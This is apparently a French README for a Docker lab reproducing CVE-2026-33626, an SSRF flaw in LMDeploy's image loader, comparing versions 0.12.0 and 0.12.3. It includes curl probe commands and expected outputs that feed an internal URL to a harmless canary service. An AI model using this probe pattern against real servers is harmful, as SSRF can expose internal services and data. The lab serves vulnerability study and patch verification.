
# Laboratoire Docker Compose reproduisant la SSRF CVE-2026-33626 dans le chargeur d'images vision-langage de LMDeploy Compare le comportement vulnérable (0.12.0) et corrigé (0.12.3) avec un script PoC et un service canari interne.
Ce dépôt reproduit CVE-2026-33626, une vulnérabilité de type Server-Side Request Forgery (SSRF) dans le chemin de chargement d'images vision-langage de LMDeploy.
Le comportement vulnérable se produit lorsque LMDeploy reçoit une URL d'image et que le chargeur d'images côté serveur récupère cette URL sans bloquer correctement les adresses internes, privées, de boucle locale (loopback) ou link-local.
Ce laboratoire compare :
| Service | Version | Objectif |
|---|
vuln | LMDeploy 0.12.0 | Démontre le comportement vulnérable |
patched | LMDeploy 0.12.3 | Démontre le comportement corrigé |
internal | Service canari local | Simule une ressource interne accessible uniquement dans le réseau Docker |
Le laboratoire est conçu pour fonctionner localement avec Docker Compose et ne contacte ni les endpoints de métadonnées cloud ni des cibles externes.
LMDeploy prend en charge les flux de travail vision-langage où une image peut être chargée depuis une URL fournie par l'utilisateur. Dans les versions vulnérables, le code de chargement d'images peut récupérer des URL qui résolvent vers des adresses réseau internes/privées.
Cela peut permettre à un attaquant ayant accès à l'endpoint LMDeploy de faire demander au serveur des ressources internes, telles que :
Dans ce laboratoire, la cible interne est volontairement inoffensive :
http://internal:9000/private.png
Cette URL n'existe que dans le réseau Docker Compose.
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
Le laboratoire n'exécute pas de serveur d'inférence VLM complet. Il isole plutôt la primitive vulnérable de chargement d'images de LMDeploy en appelant :
from lmdeploy.vl import load_image
load_image(url)
Cela rend la reproduction légère et déterministe tout en démontrant le comportement de sécurité qui a été corrigé.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
| Service | URL hôte | Port conteneur | Description |
|---|---|---|---|
vuln | http://127.0.0.1:8081 | 8000 | Wrapper LMDeploy 0.12.0 |
patched | http://127.0.0.1:8082 | 8000 | Wrapper LMDeploy 0.12.3 |
internal | http://127.0.0.1:8090 | 9000 | Service canari interne |
Dans le réseau Docker, le canari interne est accessible via :
http://internal:9000/private.png
Sur Apple Silicon, les services vuln et patched s'exécutent en linux/amd64 car la wheel LMDeploy utilisée dans ce laboratoire est orientée x86_64.
Construire et démarrer les services :
docker compose up -d --build
Vérifier l'état des conteneurs :
docker compose ps
État attendu :
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
Sortie attendue :
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
Créer un environnement virtuel et installer les dépendances :
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Exécuter le PoC :
python poc/poc.py
La cible SSRF par défaut est :
http://internal:9000/private.png
Cette cible est accessible depuis les conteneurs Docker, et non depuis l'internet public.
Le service vulnérable devrait récupérer l'image canari interne avec succès :
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
Cela confirme que LMDeploy 0.12.0 a effectué une requête côté serveur vers le service Docker interne.
Le service corrigé devrait bloquer la même URL avant que le service interne ne soit atteint :
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
Cela confirme que LMDeploy 0.12.3 bloque les URL qui résolvent vers des adresses IP non globales/internes.
Résumé final attendu :
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
Réinitialiser le canari interne :
curl -sS -X POST http://127.0.0.1:8090/reset | jq
Tester le service vulnérable :
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Attendu : /hits contient une requête.
Tester le service corrigé :
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Attendu : /hits reste vide.
Le PoC ne requête pas directement le service interne en tant qu'attaquant.
Au lieu de cela, le PoC envoie une URL interne à LMDeploy. Si LMDeploy récupère cette URL depuis le réseau du conteneur, le canari interne enregistre la requête.
Ce comportement prouve la primitive SSRF :
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
La version corrigée empêche cela en rejetant les URL qui résolvent vers des adresses IP non globales.
docker compose down -v
GitHub Security Advisory : GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD : CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Commit de correctif : 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
Pull Request : #4447 https://github.com/InternLM/lmdeploy/pull/4447
Analyse Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours